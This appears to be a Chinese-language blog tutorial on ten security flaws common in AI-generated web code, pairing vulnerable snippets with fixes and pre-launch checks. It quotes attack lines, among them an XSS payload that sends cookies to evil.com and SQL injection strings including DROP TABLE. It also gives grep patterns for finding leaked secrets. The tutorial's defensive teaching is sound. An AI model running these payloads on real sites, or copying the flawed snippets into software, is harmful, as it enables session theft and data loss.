為什麼 AI 生成的程式碼更需要安全審查
AI 生成程式碼的速度快到一個下午就能做出完整網站。但速度快不代表安全。AI 模型在訓練時接觸了大量範例程式碼,其中很多寫法本身就存在安全問題。
更危險的是,AI 生成的程式碼通常看起來非常專業——變數命名合理、結構清晰、有註解。這反而讓人放鬆警惕,忽略安全審查。
飛飛在測試中讓不同 AI 工具生成 CRUD 網站後端,超過 70% 的結果存在至少一個 OWASP Top 10 等級的安全漏洞。最常見的是缺少輸入驗證和硬編碼密碼。
以下是 10 個最常見的風險,每個都附上 AI 容易生成的有問題程式碼、正確的修正方式、以及上線前的具體檢查方法。
風險 1:跨站腳本攻擊(XSS)
AI 經常生成直接將使用者輸入插入 HTML 的程式碼,沒有做適當的跳脫。
常見場景包括:留言板和評論區直接顯示使用者輸入、搜尋頁面反射搜尋關鍵字、使用 innerHTML 而非 textContent。
AI 生成的有問題程式碼:
// 危險:直接插入使用者輸入
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜尋結果:${query}</h1>`);
});
攻擊者只要在搜尋框輸入 <script>document.location='https://evil.com/steal?c='+document.cookie</script> 就能竊取使用者的 Cookie。
修正方式:
import escapeHtml from 'escape-html';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>搜尋結果:${query}</h1>`);
});
檢查方法:在所有輸入欄位輸入 <img src=x onerror=alert(1)> 測試,如果畫面跳出 alert 彈窗就代表有 XSS 漏洞。同時用 grep -rn 'innerHTML' src/ 搜尋前端程式碼中所有使用 innerHTML 的地方。
風險 2:SQL Injection
AI 經常用字串拼接的方式組 SQL 查詢,這是最經典的安全漏洞。
AI 生成的有問題程式碼:
# 危險:字串拼接 SQL
@app.route('/user')
def get_user():
username = request.args.get('name')
cursor.execute(f"SELECT * FROM users WHERE name = '{username}'")
return jsonify(cursor.fetchall())
攻擊者輸入 ' OR '1'='1 就能取得所有使用者資料,輸入 '; DROP TABLE users; -- 甚至能刪除整個資料表。
修正方式:
@app.route('/user')
def get_user():
username = request.args.get('name')
cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
return jsonify(cursor.fetchall())
檢查方法:用 grep -rnE "f['\"].*SELECT|f['\"].*INSERT|f['\"].*UPDATE|f['\"].*DELETE" src/ 搜尋所有使用 f-string 組合 SQL 的地方。如果使用 ORM(SQLAlchemy、Prisma),風險較低但仍需注意 raw query 的部分。
風險 3:硬編碼的敏感資訊
AI 在生成範例程式碼時,經常直接把 API Key、密碼、資料庫連線字串寫在程式碼裡。
AI 生成的有問題程式碼:
// 危險:API Key 直接寫在程式碼裡
const openai = new OpenAI({
apiKey: 'sk-proj-abc123def456...'
});
const db = mysql.createConnection({
host: 'db.example.com',
user: 'admin',
password: 'P@ssw0rd2026'
});
一旦這些程式碼被推到 GitHub,任何人都能搜尋到你的金鑰。GitHub 上每天有數千個 API Key 被意外暴露,自動化掃描工具會在幾分鐘內發現並濫用。
修正方式:
const openai = new OpenAI({
apiKey: process.env.OPENAI_API_KEY
});
const db = mysql.createConnection({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD
});
檢查方法:執行 grep -rnE "(sk-|api[_-]?key|password|secret|token)\s*[:=]\s*['\"][^'\"]{8,}" src/ 搜尋所有可能的硬編碼金鑰。同時確認 .env 檔案在 .gitignore 中。推送前用 git diff --cached 檢查暫存區是否包含敏感資訊。
風險 4:未驗證的套件依賴
AI 建議的套件可能已經過時、有已知漏洞、甚至根本不存在(幻覺產生的套件名稱)。
AI 可能建議你安裝 npm install express-auth-simple,但這個套件可能:
- 最後一次更新是 3 年前
- 有已知的安全漏洞
- 完全是 AI 憑空編造的名字,在 npm 上可能被惡意搶註
檢查方法:
# 檢查 npm 套件的安全漏洞
npm audit
# 檢查 Python 套件
pip-audit
# 確認套件真的存在且有維護
npm info <package-name> | grep -E "latest|modified"
安裝前先在 npm 或 PyPI 上確認套件存在、下載量合理、最近有更新。週下載量低於 1,000 的套件要特別謹慎。
風險 5:CORS 設定過於寬鬆
AI 在解決跨域問題時,經常建議直接設定 Access-Control-Allow-Origin: *,這等於允許任何網站的 JavaScript 存取你的 API。
AI 生成的有問題程式碼:
// 危險:允許所有來源
app.use(cors({ origin: '*' }));
修正方式:
const allowedOrigins = [
'https://yourdomain.com',
'https://app.yourdomain.com'
];
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
檢查方法:curl -H "Origin: https://evil.com" -I https://yourapi.com/endpoint,如果回應的 Access-Control-Allow-Origin 是 * 或 https://evil.com,就需要修正。
風險 6:缺少速率限制(Rate Limiting)
AI 生成的 API 幾乎不會自動加上速率限制。沒有速率限制,攻擊者可以無限次呼叫你的 API,造成帳單暴增或服務癱瘓。
特別是串接 OpenAI 或 Claude API 的後端,每次呼叫都有成本。如果沒有限制,一個惡意使用者就能在一晚上花光你整個月的 API 預算。
修正方式(Express.js):
import rateLimit from 'express-rate-limit';
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分鐘
max: 100, // 每個 IP 最多 100 次
message: { error: '請求過於頻繁,請稍後再試' }
});
app.use('/api/', apiLimiter);
檢查方法:用 for i in $(seq 1 200); do curl -s -o /dev/null -w "%{http_code}\n" https://yourapi.com/endpoint; done 快速送 200 個請求,看是否會回傳 429 Too Many Requests。
風險 7:不安全的檔案上傳
AI 生成的檔案上傳功能通常只檢查副檔名,不驗證檔案內容。攻擊者可以上傳偽裝成圖片的惡意腳本。
AI 生成的有問題程式碼:
# 危險:只檢查副檔名
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['image']
if file.filename.endswith(('.jpg', '.png')):
file.save(f'uploads/{file.filename}')
return 'OK'
這段程式碼有兩個問題:只檢查副檔名(可以上傳 malware.jpg.php)、使用者可以控制檔案名稱(路徑穿越攻擊)。
修正方式:
import uuid
from werkzeug.utils import secure_filename
import magic
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/webp'}
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['image']
mime = magic.from_buffer(file.read(2048), mime=True)
file.seek(0)
if mime not in ALLOWED_TYPES:
return 'Invalid file type', 400
filename = f"{uuid.uuid4()}.{mime.split('/')[1]}"
file.save(os.path.join('uploads', filename))
return 'OK'
風險 8:缺少 Content Security Policy(CSP)
AI 生成的網站幾乎都沒有設定 CSP headers。沒有 CSP,即使有其他防護,XSS 攻擊成功後可以載入外部惡意腳本、向外部伺服器發送竊取的資料。
在 Nginx 設定 CSP:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.openai.com;" always;
在 Next.js 的 next.config.js 設定:
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self'"
}
];
檢查方法:curl -I https://yoursite.com | grep -i content-security-policy。如果沒有這個 header,就需要加上。也可以用 Mozilla Observatory 掃描整體安全性。
風險 9:Debug 模式留在生產環境
AI 在開發階段常建議開啟 debug 模式,但很多人上線時忘了關掉。Debug 模式會暴露完整的錯誤堆疊、環境變數、甚至原始碼。
需要檢查的項目:
# Flask
grep -rn "debug=True" *.py
# Django
grep -rn "DEBUG = True" settings.py
# Next.js - 確認用 next start 而非 next dev
grep -n "next dev" package.json
# Express - 確認沒有 stack trace 洩漏
grep -rn "app.use(errorHandler" src/
在 Express.js 中,生產環境的錯誤處理不該回傳堆疊資訊:
app.use((err, req, res, next) => {
console.error(err.stack); // 記錄到伺服器 log
res.status(500).json({ error: '伺服器發生錯誤' }); // 不回傳堆疊
});
風險 10:缺少 HTTPS 和安全 Headers
AI 生成的部署腳本通常用 HTTP 啟動伺服器,沒有設定 HTTPS。加上常見的安全 headers 缺失,整體安全性很低。
上線前的安全 headers 檢查清單:
curl -I https://yoursite.com | grep -iE "strict-transport|x-frame|x-content-type|referrer-policy|permissions-policy"
應該看到的 headers:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
如果使用 Cloudflare,大部分可以在 dashboard 直接開啟。自架 Nginx 的話加在 server block 裡。
上線前的 10 點安全檢查清單
把以上 10 個風險整理成一份上線前的檢查清單:
- 所有使用者輸入都有做 HTML 跳脫(grep innerHTML/dangerouslySetInnerHTML)
- 所有 SQL 查詢都用參數化查詢(grep f-string + SQL keywords)
- 沒有硬編碼的 API Key 或密碼(grep -rn 'sk-|password|secret')
- 所有套件都跑過 npm audit / pip-audit
- CORS 設定只允許你自己的網域
- API 有速率限制
- 檔案上傳有 MIME type 驗證
- 有設定 Content-Security-Policy header
- Debug 模式已關閉
- HTTPS 啟用且安全 headers 設定
這份清單可以存成 CI/CD pipeline 中的自動化檢查腳本,每次部署前自動執行。
常見錯誤
AI 說程式碼安全就相信。AI 經常在生成的程式碼旁邊加上「此程式碼已考慮安全性」的註解,但實際上只是表面合規。每一段涉及使用者輸入、認證、資料庫操作的程式碼都需要人工審查。
只測試 happy path。AI 生成的程式碼通常在正常使用情況下運作良好,但在邊界條件和惡意輸入下會出問題。測試時要刻意嘗試異常輸入。
上線後就不管了。套件漏洞每天都在被發現,至少每月跑一次 npm audit 和 pip-audit,設定 GitHub Dependabot 自動通知。
安全與限制
這份清單涵蓋了最常見的風險,但不能取代專業的滲透測試。如果你的網站處理金融交易、醫療資料、或大量個人資料,建議在上線前進行至少一次由資安專家執行的滲透測試。
AI 生成程式碼的安全問題會隨著 AI 工具的進化而改善,但「人工審查」這個環節在可預見的未來不會消失。工具可以幫你抓到模式化的問題,但業務邏輯的安全性只有理解需求的人才能判斷。
台灣的《個人資料保護法》對於個人資料的蒐集、處理和利用有明確規範。如果你的網站蒐集使用者個人資料(包括 email、IP 位址),必須符合告知義務和安全維護措施。AI 不會自動幫你加上這些合規要求。
知識檢測
讀完文章後,測試一下你對這個主題的理解。
常見問題
AI 生成的程式碼一定不安全嗎?
不一定,但統計上風險較高。AI 可能生成安全的程式碼,但也可能不會——問題在於你無法從外觀判斷。所以每段涉及安全的程式碼都需要審查,跟是不是 AI 寫的無關,人寫的程式碼也一樣需要 code review。
用 Cursor 或 Claude Code 寫的網站比手寫的更不安全嗎?
不見得。工具本身不決定安全性,使用方式才是。用 Cursor 寫但有做安全審查,比手寫但沒做審查安全。關鍵是把安全檢查納入開發流程,不管用什麼工具寫程式。
有哪些自動化工具可以檢查 AI 生成的程式碼?
Semgrep 可以用自訂規則掃描特定的安全模式,ESLint 的 security plugin 可以抓 JavaScript 的常見問題,Bandit 專門檢查 Python 安全。npm audit 和 pip-audit 負責檢查套件漏洞。建議把這些工具整合到 CI/CD pipeline 中,每次推送自動執行。
這 10 個風險的優先順序是什麼?
先處理能直接被外部攻擊者利用的:SQL Injection、XSS、硬編碼密碼。這三個修不好,其他做得再多也沒用。接著處理 CORS、速率限制、檔案上傳。最後是 CSP、安全 headers 等加固措施。
小型個人專案也需要這麼注意安全嗎?
如果有使用者登入和資料庫,是的。即使只有幾個使用者,資料外洩的責任和後果是一樣的。台灣個資法對資料規模沒有豁免門檻——處理 1 筆個資和處理 100 萬筆個資,法律要求相同。